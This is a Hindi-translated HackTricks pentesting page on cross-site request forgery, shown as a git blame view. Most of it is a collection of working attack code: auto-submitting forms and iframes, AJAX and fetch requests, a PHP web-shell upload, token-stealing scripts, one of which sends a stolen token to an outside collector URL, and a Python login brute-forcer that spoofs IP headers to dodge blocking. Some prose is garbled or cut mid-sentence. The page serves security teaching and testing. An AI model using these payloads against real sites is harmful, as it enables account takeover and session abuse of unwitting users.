hacktricks/pentesting-web/csrf-cross-site-request-forgery.md

569 lines
35 KiB
Markdown
Raw Normal View History

# CSRF (Cross Site Request Forgery)
2022-04-28 16:01:33 +00:00
<details>
<summary><strong>जानें AWS हैकिंग को शून्य से हीरो तक</strong> <a href="https://training.hacktricks.xyz/courses/arte"><strong>htARTE (HackTricks AWS Red Team Expert)</strong></a><strong> के साथ!</strong></summary>
2022-04-28 16:01:33 +00:00
HackTricks का समर्थन करने के अन्य तरीके:
2022-04-28 16:01:33 +00:00
* अगर आप चाहते हैं कि आपकी **कंपनी HackTricks में विज्ञापित हो** या **HackTricks को PDF में डाउनलोड करें** तो [**सब्सक्रिप्शन प्लान्स**](https://github.com/sponsors/carlospolop) देखें!
* [**आधिकारिक PEASS & HackTricks स्वैग**](https://peass.creator-spring.com) प्राप्त करें
* हमारे विशेष [**NFTs**](https://opensea.io/collection/the-peass-family) कलेक्शन, **The PEASS Family** की खोज करें
* **हमारे साथ जुड़ें** 💬 [**डिस्कॉर्ड समूह**](https://discord.gg/hRep4RUj7f) या [**टेलीग्राम समूह**](https://t.me/peass) में शामिल हों या हमें **ट्विटर** 🐦 [**@carlospolopm**](https://twitter.com/hacktricks\_live)** पर फॉलो** करें।
* **अपने हैकिंग ट्रिक्स साझा करें** द्वारा PRs सबमिट करके [**HackTricks**](https://github.com/carlospolop/hacktricks) और [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) github repos में।
2022-04-28 16:01:33 +00:00
</details>
2022-10-27 23:22:18 +00:00
<figure><img src="../.gitbook/assets/image (1) (3) (1).png" alt=""><figcaption></figcaption></figure>
2023-02-27 09:28:45 +00:00
[**HackenProof Discord**](https://discord.com/invite/N3FrSbmwdy) सर्वर में शामिल होकर अनुभवी हैकर्स और बग बाउंटी हंटर्स के साथ संवाद करें!
2023-07-14 15:03:41 +00:00
**हैकिंग इंसाइट्स**\
हैकिंग के उत्साह और चुनौतियों में डूबने वाली सामग्री के साथ जुड़ें
2023-07-14 15:03:41 +00:00
**रियल-टाइम हैक न्यूज़**\
तेजी से बदलते हैकिंग विश्व के साथ अप-टू-डेट रहें न्यूज़ और इंसाइट्स के माध्यम से
2022-10-27 23:22:18 +00:00
**नवीनतम घोषणाएं**\
नवीनतम बग बाउंटी लॉन्च और महत्वपूर्ण प्लेटफॉर्म अपडेट के साथ जागरूक रहें
**हमारे साथ जुड़ें** [**Discord**](https://discord.com/invite/N3FrSbmwdy) और आज ही शीर्ष हैकर्स के साथ सहयोग करना शुरू करें!
## Cross-Site Request Forgery (CSRF) Explained
**Cross-Site Request Forgery (CSRF)** एक प्रकार की सुरक्षा दोष है जो वेब एप्लिकेशनों में पाया जाता है। यह हमलावदारों को उनके प्रमाणित सत्रों का शोषण करके अनजान उपयोगकर्ताओं की ओर से कार्रवाई करने की संभावना प्रदान करता है। हमला उस समय किया जाता है जब एक उपयोगकर्ता, जो एक पीड़ित के प्लेटफ़ॉर्म में लॉग इन है, एक दुर्भाग्यपूर्ण साइट पर जाता है। इस साइट फिर पीड़ित के खाते के लिए अनुरोधों को ट्रिगर करती है जैसे कि जावास्क्रिप्ट को क्रियान्वयन करना, फॉर्म सबमिट करना, या छवियों को प्राप्त करना।
### CSRF हमले के लिए पूर्वापेक्षाएँ
CSRF विकल्प का शोषण करने के लिए कई शर्तों को पूरा किया जाना चाहिए:
1. **मूल्यवान कार्रवाई की पहचान करें**: हमलावाद को एक कार्रवाई की पहचान करने की आवश्यकता होती है जैसे कि उपयोगकर्ता का पासवर्ड, ईमेल बदलना, या प्रिविलेज उच्चाधिकार करना।
2. **सत्र प्रबंधन**: उपयोगकर्ता का सत्र केवल कुकीज़ या HTTP बेसिक प्रमाणीकरण हेडर के माध्यम से प्रबंधित होना चाहिए, क्योंकि इस उद्देश्य के लिए अन्य हेडर में खेल नहीं सकता।
3. **अप्रत्याशित पैरामीटरों की अभाव**: अनुरोध में अप्रत्याशित पैरामीटर नहीं होना चाहिए, क्योंकि वे हमले को रोक सकते हैं।
### त्वरित जांच
आप **Burp में अनुरोध को कैप्चर** कर सकते हैं और CSRF सुरक्षा की जांच करने के लिए ब्राउज़र से टेस्ट करने के लिए **Copy as fetch** पर क्लिक कर सकते हैं:
<figure><img src="../.gitbook/assets/image (5).png" alt=""><figcaption></figcaption></figure>
### CSRF के खिलाफ बचाव
कई उपाय किए जा सकते हैं जो CSRF हमलों के खिलाफ सुरक्षा प्रदान करने के लिए लागू किए जा सकते हैं:
* [**SameSite कुकीज़**](hacking-with-cookies/#samesite): यह गुण ब्राउज़र को क्रॉस-साइट अनुरोधों के साथ कुकीज़ भेजने से रोकता है। [SameSite कुकीज़ के बारे में अधिक जानकारी](hacking-with-cookies/#samesite)।
* [**क्रॉस-उत्सर्जन संसाधन साझाकरण**](cors-bypass.md): पीड़ित साइट की CORS नीति हमले की संभावना पर प्रभाव डाल सकती है, खासकर अगर हमला पीड़ित साइट से प्रतिक्रिया पढ़ने की आवश्यकता है। [CORS बायपास के बारे में जानें](cors-bypass.md)।
* **उपयोगकर्ता सत्यापन**: उपयोगकर्ता के पासवर्ड पूछना या कैप्चा हल करना उपयोगकर्ता की इच्छा की पुष्टि कर सकता है।
* **रेफरर या उत्पत्ति हेडर्स की जांच**: इन हेडर्स की मान्यता सत्यापित करने से अनुरोधों का आना विश्वसनीय स्रोतों से होने की मदद मिल सकती है। हालांकि, URL के सावधानीपूर्वक तैयार किए जाने से अच्छे से लागू नहीं होने वाले जांचों को दूर किया जा सकता है, जैसे:
* `http://mal.net?orig=http://example.com` (URL विश्वसनीय URL के साथ समाप्त होता है)
* `http://example.com.mal.net` (URL विश्वसनीय URL से शुरू होता है)
* **पैरामीटर नामों को संशोधित करना**: POST या GET अनुरोधों में पैरामीटरों के नामों को बदलने से स्वचालित हमलों को रोकने में मदद मिल सकती है।
* **CSRF टोकन**: प्रत्येक सत्र में एक अद्वितीय CSRF टोकन शामिल करना और इस टोकन की आवश्यकता को आगे के अनुरोधों में आवश्यक करने से CSRF का जोखिम काफी कम हो सकता है। टोकन की प्रभावकारिता को CORS का पालन करके बढ़ाया जा सकता है।
इन रक्षाओं को समझना और लागू करना वेब एप्लिकेशनों की सुरक्षा और अखंडता बनाए रखने के लिए महत्वपूर्ण है।
## रक्षाओं को छलना
### POST से GET तक
शायद आपको उपयोग करना चाहिए कि **POST अनुरोध भेजने के लिए तैयार है जिसमें एक CSRF टोकन है**, लेकिन, आपको **जांचना** चाहिए कि क्या एक **GET** भी **मान्य** है और यदि जब आप एक GET अनुरोध भेजते हैं तो **CSRF टोकन अब भी मान्य है** या नहीं।
### टोकन की कमी
एप्लिकेशनें शायद टोकनों को **मान्य करने के लिए एक तंत्र** लागू कर सकती हैं जब वे मौजूद होते हैं। हालांकि, एक सुरक्षा दोष उत्पन्न होता है अगर जब टोकन अनुपस्थित होता है तो मान्यता को पारित किया जाता है। हमलावादी इसे उस पैरामीटर को हटा कर उसके मान को नहीं, बल्कि उसके मूल्य को हटाकर इसका उपयो
2021-11-30 16:46:07 +00:00
```html
<html>
<!-- CSRF Proof of Concept - generated by Burp Suite Professional -->
2023-11-06 08:38:02 +00:00
<body>
<script>history.pushState('', '', '/')</script>
<form action="https://example.com/my-account/change-email" method="POST">
2023-11-06 08:38:02 +00:00
<input type="hidden" name="email" value="asd&#64;asd&#46;asd" />
<input type="hidden" name="csrf" value="tZqZzQ1tiPj8KFnO4FOAawq7UsYzDk8E" />
<input type="submit" value="Submit request" />
</form>
<img src="https://example.com/?search=term%0d%0aSet-Cookie:%20csrf=tZqZzQ1tiPj8KFnO4FOAawq7UsYzDk8E" onerror="document.forms[0].submit();"/>
2023-11-06 08:38:02 +00:00
</body>
2021-11-30 16:46:07 +00:00
</html>
2021-11-30 16:46:07 +00:00
```
{% hint style="info" %}
ध्यान दें कि यदि **csrf टोकन सत्र कुकी से संबंधित है तो यह हमला काम नहीं करेगा** क्योंकि आपको पीड़ित को अपना सत्र सेट करने की आवश्यकता होगी, और इसलिए आप खुद पर हमला कर रहे होंगे।
2021-11-30 16:46:07 +00:00
{% endhint %}
### Content-Type बदलें
2020-08-10 09:56:57 +00:00
[**इस**](https://developer.mozilla.org/en-US/docs/Web/HTTP/CORS#simple\_requests) के अनुसार **प्रीफ्लाइट** अनुरोधों से बचने के लिए **POST** विधि का उपयोग करते समय ये स्वीकृत Content-Type मान हैं:
* **`application/x-www-form-urlencoded`**
* **`multipart/form-data`**
* **`text/plain`**
हालांकि, ध्यान दें कि **सर्वर का तर्क भिन्न हो सकता है** जिसका आधार **Content-Type** पर है इसलिए आपको उल्लिखित मानों को और जैसे **`application/json`**_**,**_**`text/xml`**, **`application/xml`**_._ जैसे अन्य मानों का प्रयास करना चाहिए।
2022-04-22 08:32:18 +00:00
उदाहरण (यहाँ से) JSON डेटा को text/plain के रूप में भेजने का:
2022-04-22 08:32:18 +00:00
```html
<html>
2023-11-06 08:38:02 +00:00
<body>
<form id="form" method="post" action="https://phpme.be.ax/" enctype="text/plain">
<input name='{"garbageeeee":"' value='", "yep": "yep yep yep", "url": "https://webhook/"}'>
</form>
<script>
form.submit();
</script>
</body>
2022-04-22 08:32:18 +00:00
</html>
```
### प्रीफ्लाइट अनुरोधों को जेएसओएन डेटा के लिए बाईपास करना
जब पोस्ट अनुरोध के माध्यम से जेएसओएन डेटा भेजने का प्रयास किया जाता है, तो HTML फॉर्म में `Content-Type: application/json` का सीधा उपयोग संभाव नहीं है। इसी तरह, इस सामग्री प्रकार को भेजने के लिए `XMLHttpRequest` का उपयोग करना एक प्रीफ्लाइट अनुरोध प्रारंभ करता है। फिर भी, इस सीमा को उम्मीदवार बाईपास करने के लिए और यह जांचने के लिए कि सर्वर जेएसओएन डेटा को Content-Type के बावजूद प्रसंस्करण करता है, कुछ रणनीतियाँ हैं:
2022-04-22 08:32:18 +00:00
1. **वैकल्पिक सामग्री प्रकार का उपयोग करें**: फॉर्म में `enctype="text/plain"` सेट करके `Content-Type: text/plain` या `Content-Type: application/x-www-form-urlencoded` का उपयोग करें। यह दृष्टिकोण परीक्षण करता है कि पीछे की ओर डेटा का उपयोग करता है या नहीं, Content-Type के बावजूद।
2. **सामग्री प्रकार में परिवर्तन करें**: प्रीफ्लाइट अनुरोध से बचने के लिए साथ ही सर्वर को सामग्री को जेएसओएन के रूप में मान्यता प्रदान करने के लिए, आप `Content-Type: text/plain; application/json` के साथ डेटा भेज सकते हैं। यह एक प्रीफ्लाइट अनुरोध को ट्रिगर नहीं करता है लेकिन यदि सर्वर `application/json` स्वीकार करने के लिए कॉन्फ़िगर किया गया है तो सही ढंग से प्रसंस्कृत हो सकता है।
3. **एसडब्ल्यूएफ फ्लैश फ़ाइल उपयोग**: एक कम प्रचलित लेकिन संभावनाशील विधि शामिल है जिसमें ऐसी प्रतिबंधों को बाईपास करने के लिए एसडब्ल्यूएफ फ्लैश फ़ाइल का उपयोग किया जाता है। इस तकनीक की गहन समझ के लिए, [इस पोस्ट](https://anonymousyogi.medium.com/json-csrf-csrf-that-none-talks-about-c2bf9a480937) का संदर्भ देखें।
### रेफरर / उत्पत्ति जांच बाईपास
**रेफरर हेडर से बचें**
एप्लिकेशन्स केवल तब 'Referer' हेडर को मान्यता देते हैं जब यह मौजूद होता है। इस हेडर को ब्राउज़र से भेजने से रोकने के लिए, निम्नलिखित HTML मेटा टैग का उपयोग किया जा सकता है:
```xml
<meta name="referrer" content="never">
```
यह सुनिश्चित करता है कि 'Referer' हेडर छोड़ दिया जाता है, कुछ एप्लिकेशन में मान्यता की जांचों को छलने की संभावना है।
**रेजेक्स बाईपास**
2022-02-13 12:30:13 +00:00
{% content-ref url="ssrf-server-side-request-forgery/url-format-bypass.md" %}
[url-format-bypass.md](ssrf-server-side-request-forgery/url-format-bypass.md)
{% endcontent-ref %}
सर्वर के डोमेन नाम को URL में सेट करने के लिए जिस URL में Referrer पैरामीटर के भीतर भेजा जाएगा, आप यह कर सकते हैं:
2021-11-30 16:46:07 +00:00
```html
<html>
2023-11-06 08:38:02 +00:00
<!-- Referrer policy needed to send the qury parameter in the referrer -->
<head><meta name="referrer" content="unsafe-url"></head>
<body>
<script>history.pushState('', '', '/')</script>
<form action="https://ac651f671e92bddac04a2b2e008f0069.web-security-academy.net/my-account/change-email" method="POST">
<input type="hidden" name="email" value="asd&#64;asd&#46;asd" />
<input type="submit" value="Submit request" />
</form>
<script>
// You need to set this or the domain won't appear in the query of the referer header
history.pushState("", "", "?ac651f671e92bddac04a2b2e008f0069.web-security-academy.net")
document.forms[0].submit();
</script>
</body>
2021-11-30 16:46:07 +00:00
</html>
```
### **HEAD method bypass**
2021-11-30 16:46:07 +00:00
पहला हिस्सा [**इस CTF व्रिटअप**](https://github.com/google/google-ctf/tree/master/2023/web-vegsoda/solution) में व्याख्या की गई है कि [Oak का सोर्स कोड](https://github.com/oakserver/oak/blob/main/router.ts#L281), एक राउटर **HEAD रिक्वेस्ट्स को GET रिक्वेस्ट्स के रूप में हैंडल करने** के लिए सेट किया गया है - एक सामान्य कामराज़ जो Oak के लिए अद्वितीय नहीं है। HEAD रिक्वेस्ट्स के लिए एक विशिष्ट हैंडलर की बजाय, वे **सिर्फ GET हैंडलर को देते हैं लेकिन एप्लिकेशन बस रिस्पॉन्स बॉडी को हटा देता है**
2022-10-27 23:22:18 +00:00
इसलिए, अगर एक GET रिक्वेस्ट पर प्रतिबंध लगाया जा रहा है, तो आप **एक HEAD रिक्वेस्ट भेज सकते हैं जो एक GET रिक्व
```xml
<img src="http://google.es?param=VALUE" style="display:none" />
<h1>404 - Page not found</h1>
The URL you are requesting is no longer available
```
अन्य HTML5 टैग जो स्वचालित रूप से GET अनुरोध भेजने के लिए प्रयोग किए जा सकते हैं:
```html
<iframe src="..."></iframe>
<script src="..."></script>
<img src="..." alt="">
<embed src="...">
<audio src="...">
<video src="...">
<source src="..." type="...">
<video poster="...">
<link rel="stylesheet" href="...">
<object data="...">
<body background="...">
<div style="background: url('...');"></div>
<style>
body { background: url('...'); }
</style>
<bgsound src="...">
<track src="..." kind="subtitles">
<input type="image" src="..." alt="Submit Button">
```
2023-11-06 08:38:02 +00:00
### फॉर्म GET अनुरोध
```html
<html>
2023-11-06 08:38:02 +00:00
<!-- CSRF PoC - generated by Burp Suite Professional -->
<body>
<script>history.pushState('', '', '/')</script>
<form method="GET" action="https://victim.net/email/change-email">
<input type="hidden" name="email" value="some@email.com" />
<input type="submit" value="Submit request" />
</form>
<script>
document.forms[0].submit();
</script>
</body>
</html>
```
### फॉर्म POST अनुरोध
```html
<html>
2023-11-06 08:38:02 +00:00
<body>
<script>history.pushState('', '', '/')</script>
<form method="POST" action="https://victim.net/email/change-email" id="csrfform">
<input type="hidden" name="email" value="some@email.com" autofocus onfocus="csrfform.submit();" /> <!-- Way 1 to autosubmit -->
<input type="submit" value="Submit request" />
<img src=x onerror="csrfform.submit();" /> <!-- Way 2 to autosubmit -->
</form>
<script>
document.forms[0].submit(); //Way 3 to autosubmit
</script>
</body>
</html>
2021-06-04 23:20:57 +00:00
```
### आईफ्रेम के माध्यम से फॉर्म पोस्ट अनुरोध
```html
2023-11-06 08:38:02 +00:00
<!--
The request is sent through the iframe withuot reloading the page
2021-06-04 23:20:57 +00:00
-->
<html>
2023-11-06 08:38:02 +00:00
<body>
<iframe style="display:none" name="csrfframe"></iframe>
<form method="POST" action="/change-email" id="csrfform" target="csrfframe">
<input type="hidden" name="email" value="some@email.com" autofocus onfocus="csrfform.submit();" />
<input type="submit" value="Submit request" />
</form>
<script>
document.forms[0].submit();
</script>
</body>
2021-06-04 23:20:57 +00:00
</html>
```
### **एजैक्स पोस्ट अनुरोध**
```html
<script>
var xh;
if (window.XMLHttpRequest)
2023-11-06 08:38:02 +00:00
{// code for IE7+, Firefox, Chrome, Opera, Safari
xh=new XMLHttpRequest();
}
else
2023-11-06 08:38:02 +00:00
{// code for IE6, IE5
xh=new ActiveXObject("Microsoft.XMLHTTP");
}
2021-06-05 01:10:15 +00:00
xh.withCredentials = true;
xh.open("POST","http://challenge01.root-me.org/web-client/ch22/?action=profile");
xh.setRequestHeader('Content-type', 'application/x-www-form-urlencoded'); //to send proper header info (optional, but good to have as it may sometimes not work without this)
xh.send("username=abcd&status=on");
</script>
2021-06-05 01:10:15 +00:00
<script>
//JQuery version
$.ajax({
2023-11-06 08:38:02 +00:00
type: "POST",
url: "https://google.com",
data: "param=value&param2=value2"
2021-06-05 01:10:15 +00:00
})
</script>
```
2023-11-06 08:38:02 +00:00
### multipart/form-data POST अनुरोध
```javascript
myFormData = new FormData();
var blob = new Blob(["<?php phpinfo(); ?>"], { type: "text/text"});
myFormData.append("newAttachment", blob, "pwned.php");
fetch("http://example/some/path", {
2023-11-06 08:38:02 +00:00
method: "post",
body: myFormData,
credentials: "include",
headers: {"Content-Type": "application/x-www-form-urlencoded"},
mode: "no-cors"
});
```
2023-11-06 08:38:02 +00:00
### multipart/form-data POST अनुरोध v2
```javascript
// https://www.exploit-db.com/exploits/20009
var fileSize = fileData.length,
boundary = "OWNEDBYOFFSEC",
xhr = new XMLHttpRequest();
2021-06-05 01:10:15 +00:00
xhr.withCredentials = true;
xhr.open("POST", url, true);
// MIME POST request.
xhr.setRequestHeader("Content-Type", "multipart/form-data, boundary="+boundary);
xhr.setRequestHeader("Content-Length", fileSize);
var body = "--" + boundary + "\r\n";
body += 'Content-Disposition: form-data; name="' + nameVar +'"; filename="' + fileName + '"\r\n';
body += "Content-Type: " + ctype + "\r\n\r\n";
body += fileData + "\r\n";
body += "--" + boundary + "--";
//xhr.send(body);
xhr.sendAsBinary(body);
```
### आईफ्रेम के अंदर से फॉर्म पोस्ट अनुरोध
```html
<--! expl.html -->
<body onload="envia()">
<form method="POST"id="formulario" action="http://aplicacion.example.com/cambia_pwd.php">
<input type="text" id="pwd" name="pwd" value="otra nueva">
</form>
<body>
<script>
function envia(){document.getElementById("formulario").submit();}
</script>
<!-- public.html -->
<iframe src="2-1.html" style="position:absolute;top:-5000">
</iframe>
<h1>Sitio bajo mantenimiento. Disculpe las molestias</h1>
```
### **CSRF टोकन चुराएं और एक POST अनुरोध भेजें**
```javascript
function submitFormWithTokenJS(token) {
2023-11-06 08:38:02 +00:00
var xhr = new XMLHttpRequest();
xhr.open("POST", POST_URL, true);
xhr.withCredentials = true;
// Send the proper header information along with the request
xhr.setRequestHeader("Content-type", "application/x-www-form-urlencoded");
2023-11-06 08:38:02 +00:00
// This is for debugging and can be removed
xhr.onreadystatechange = function() {
if(xhr.readyState === XMLHttpRequest.DONE && xhr.status === 200) {
//console.log(xhr.responseText);
}
}
xhr.send("token=" + token + "&otherparama=heyyyy");
}
function getTokenJS() {
2023-11-06 08:38:02 +00:00
var xhr = new XMLHttpRequest();
// This tels it to return it as a HTML document
xhr.responseType = "document";
xhr.withCredentials = true;
// true on the end of here makes the call asynchronous
xhr.open("GET", GET_URL, true);
xhr.onload = function (e) {
if (xhr.readyState === XMLHttpRequest.DONE && xhr.status === 200) {
// Get the document from the response
page = xhr.response
// Get the input element
input = page.getElementById("token");
// Show the token
//console.log("The token is: " + input.value);
// Use the token to submit the form
submitFormWithTokenJS(input.value);
}
};
// Make the request
xhr.send(null);
}
var GET_URL="http://google.com?param=VALUE"
var POST_URL="http://google.com?param=VALUE"
getTokenJS();
```
### **CSRF टोकन चुराएं और एक आईफ्रेम, एक फॉर्म और एजेक्स का उपयोग करके एक पोस्ट अनुरोध भेजें**
```html
<form id="form1" action="http://google.com?param=VALUE" method="post" enctype="multipart/form-data">
<input type="text" name="username" value="AA">
<input type="checkbox" name="status" checked="checked">
<input id="token" type="hidden" name="token" value="" />
</form>
<script type="text/javascript">
function f1(){
2023-11-06 08:38:02 +00:00
x1=document.getElementById("i1");
x1d=(x1.contentWindow||x1.contentDocument);
t=x1d.document.getElementById("token").value;
document.getElementById("token").value=t;
document.getElementById("form1").submit();
}
2023-11-06 08:38:02 +00:00
</script>
<iframe id="i1" style="display:none" src="http://google.com?param=VALUE" onload="javascript:f1();"></iframe>
```
### **CSRF टोकन चुरा लें और एक आईफ्रेम और एक फॉर्म का उपयोग करके एक पोस्ट अनुरोध भेजें**
```html
<iframe id="iframe" src="http://google.com?param=VALUE" width="500" height="500" onload="read()"></iframe>
2023-11-06 08:38:02 +00:00
<script>
function read()
{
2023-11-06 08:38:02 +00:00
var name = 'admin2';
var token = document.getElementById("iframe").contentDocument.forms[0].token.value;
document.writeln('<form width="0" height="0" method="post" action="http://www.yoursebsite.com/check.php" enctype="multipart/form-data">');
document.writeln('<input id="username" type="text" name="username" value="' + name + '" /><br />');
document.writeln('<input id="token" type="hidden" name="token" value="' + token + '" />');
document.writeln('<input type="submit" name="submit" value="Submit" /><br/>');
document.writeln('</form>');
document.forms[0].submit.click();
}
</script>
```
### **टोकन चुराएं और इसे 2 आइफ्रेम का उपयोग करके भेजें**
```html
<script>
var token;
function readframe1(){
2023-11-06 08:38:02 +00:00
token = frame1.document.getElementById("profile").token.value;
document.getElementById("bypass").token.value = token
loadframe2();
}
function loadframe2(){
2023-11-06 08:38:02 +00:00
var test = document.getElementbyId("frame2");
test.src = "http://requestb.in/1g6asbg1?token="+token;
}
</script>
2023-11-06 08:38:02 +00:00
<iframe id="frame1" name="frame1" src="http://google.com?param=VALUE" onload="readframe1()"
sandbox="allow-same-origin allow-scripts allow-forms allow-popups allow-top-navigation"
height="600" width="800"></iframe>
2023-11-06 08:38:02 +00:00
<iframe id="frame2" name="frame2"
sandbox="allow-same-origin allow-scripts allow-forms allow-popups allow-top-navigation"
height="600" width="800"></iframe>
<body onload="document.forms[0].submit()">
<form id="bypass" name"bypass" method="POST" target="frame2" action="http://google.com?param=VALUE" enctype="multipart/form-data">
2023-11-06 08:38:02 +00:00
<input type="text" name="username" value="z">
<input type="checkbox" name="status" checked="">
<input id="token" type="hidden" name="token" value="0000" />
<button type="submit">Submit</button>
</form>
```
### **Ajax के साथ CSRF टोकन चुराएं और एक फॉर्म के साथ एक पोस्ट भेजें**
```html
<body onload="getData()">
<form id="form" action="http://google.com?param=VALUE" method="POST" enctype="multipart/form-data">
2023-11-06 08:38:02 +00:00
<input type="hidden" name="username" value="root"/>
<input type="hidden" name="status" value="on"/>
<input type="hidden" id="findtoken" name="token" value=""/>
<input type="submit" value="valider"/>
</form>
<script>
var x = new XMLHttpRequest();
function getData() {
2023-11-06 08:38:02 +00:00
x.withCredentials = true;
x.open("GET","http://google.com?param=VALUE",true);
x.send(null);
}
x.onreadystatechange = function() {
2023-11-06 08:38:02 +00:00
if (x.readyState == XMLHttpRequest.DONE) {
var token = x.responseText.match(/name="token" value="(.+)"/)[1];
document.getElementById("findtoken").value = token;
document.getElementById("form").submit();
}
}
</script>
```
2023-11-06 08:38:02 +00:00
### Socket.IO के साथ CSRF
```html
2020-08-06 20:38:54 +00:00
<script src="https://cdn.jsdelivr.net/npm/socket.io-client@2/dist/socket.io.js"></script>
<script>
let socket = io('http://six.jh2i.com:50022/test');
const username = 'admin'
socket.on('connect', () => {
2023-11-06 08:38:02 +00:00
console.log('connected!');
socket.emit('join', {
room: username
});
socket.emit('my_room_event', {
data: '!flag',
room: username
})
2020-08-06 20:38:54 +00:00
});
</script>
```
2023-11-06 08:38:02 +00:00
## CSRF लॉगिन ब्रूट फोर्स
2020-08-06 20:38:54 +00:00
कोड का उपयोग CSRF टोकन का उपयोग करके लॉगिन फॉर्म को ब्रूट फोर्स करने के लिए किया जा सकता है (यह भी शीर्षक X-Forwarded-For का उपयोग कर रहा है ताकि संभावित आईपी ब्लैकलिस्टिंग को अनदेखा करने का प्रयास करें):
2020-11-06 18:22:38 +00:00
```python
import request
import re
import random
URL = "http://10.10.10.191/admin/"
PROXY = { "http": "127.0.0.1:8080"}
SESSION_COOKIE_NAME = "BLUDIT-KEY"
USER = "fergus"
PASS_LIST="./words"
def init_session():
2023-11-06 08:38:02 +00:00
#Return CSRF + Session (cookie)
r = requests.get(URL)
csrf = re.search(r'input type="hidden" id="jstokenCSRF" name="tokenCSRF" value="([a-zA-Z0-9]*)"', r.text)
csrf = csrf.group(1)
session_cookie = r.cookies.get(SESSION_COOKIE_NAME)
return csrf, session_cookie
2020-11-06 18:22:38 +00:00
def login(user, password):
2023-11-06 08:38:02 +00:00
print(f"{user}:{password}")
csrf, cookie = init_session()
cookies = {SESSION_COOKIE_NAME: cookie}
data = {
"tokenCSRF": csrf,
"username": user,
"password": password,
"save": ""
}
headers = {
"X-Forwarded-For": f"{random.randint(1,256)}.{random.randint(1,256)}.{random.randint(1,256)}.{random.randint(1,256)}"
}
r = requests.post(URL, data=data, cookies=cookies, headers=headers, proxies=PROXY)
if "Username or password incorrect" in r.text:
return False
else:
print(f"FOUND {user} : {password}")
return True
2020-11-06 18:22:38 +00:00
with open(PASS_LIST, "r") as f:
2023-11-06 08:38:02 +00:00
for line in f:
login(USER, line.strip())
2020-11-06 18:22:38 +00:00
```
2023-11-06 08:38:02 +00:00
## उपकरण <a href="#tools" id="tools"></a>
* [https://github.com/0xInfection/XSRFProbe](https://github.com/0xInfection/XSRFProbe)
2022-09-26 09:52:47 +00:00
* [https://github.com/merttasci/csrf-poc-generator](https://github.com/merttasci/csrf-poc-generator)
2023-11-06 08:38:02 +00:00
## संदर्भ
* [https://portswigger.net/web-security/csrf](https://portswigger.net/web-security/csrf)
* [https://portswigger.net/web-security/csrf/bypassing-token-validation](https://portswigger.net/web-security/csrf/bypassing-token-validation)
* [https://portswigger.net/web-security/csrf/bypassing-referer-based-defenses](https://portswigger.net/web-security/csrf/bypassing-referer-based-defenses)
* [https://www.hahwul.com/2019/10/bypass-referer-check-logic-for-csrf.html](https://www.hahwul.com/2019/10/bypass-referer-check-logic-for-csrf.html)
2022-04-28 16:01:33 +00:00
2022-10-27 23:22:18 +00:00
<figure><img src="../.gitbook/assets/image (1) (3) (1).png" alt=""><figcaption></figcaption></figure>
2023-07-14 15:03:41 +00:00
[**HackenProof Discord**](https://discord.com/invite/N3FrSbmwdy) सर्वर में शामिल होकर अनुभवी हैकर्स और बग बाउंटी हंटर्स के साथ संवाद करें!
2023-07-14 15:03:41 +00:00
**हैकिंग इंसाइट्स**\
हैकिंग के रोमांच और चुनौतियों में डूबने वाली सामग्री के साथ जुड़ें
2023-02-27 09:28:45 +00:00
**रियल-टाइम हैक न्यूज़**\
रियल-टाइम समाचार और अंतर्दृष्टि के माध्यम से तेजी से बदलते हैकिंग विश्व के साथ अद्यतन रहें
**नवीनतम घोषणाएं**\
नवीनतम बग बाउंटी लॉन्च और महत्वपूर्ण प्लेटफॉर्म अपडेट के साथ अवगत रहें
[**Discord**](https://discord.com/invite/N3FrSbmwdy) पर हमारे साथ जुड़ें और आज ही शीर्ष हैकर्स के साथ सहयोग करना शुरू करें!
<details>
<summary><strong>शून्य से हीरो तक AWS हैकिंग सीखें</strong> <a href="https://training.hacktricks.xyz/courses/arte"><strong>htARTE (HackTricks AWS Red Team Expert)</strong></a><strong> के साथ!</strong></summary>
HackTricks का समर्थन करने के अन्य तरीके:
* यदि आप अपनी कंपनी का विज्ञापन HackTricks में देखना चाहते हैं या HackTricks को PDF में डाउनलोड करना चाहते हैं तो [**सब्सक्रिप्शन प्लान्स**](https://github.com/sponsors/carlospolop) देखें!
* [**आधिकारिक PEASS & HackTricks स्वैग**](https://peass.creator-spring.com) प्राप्त करें
* हमारे विशेष [**NFTs**](https://opensea.io/collection/the-peass-family) संग्रह, The PEASS Family, खोजें
* **जुड़ें** 💬 [**डिस्कॉर्ड समूह**](https://discord.gg/hRep4RUj7f) या [**टेलीग्राम समूह**](https://t.me/peass) से या हमें **ट्विटर** 🐦 [**@carlospolopm**](https://twitter.com/hacktricks\_live)** पर फॉलो** करें।
* **HackTricks** और **HackTricks Cloud** github रेपो में PR जमा करके अपने हैकिंग ट्रिक्स साझा करें।
</details>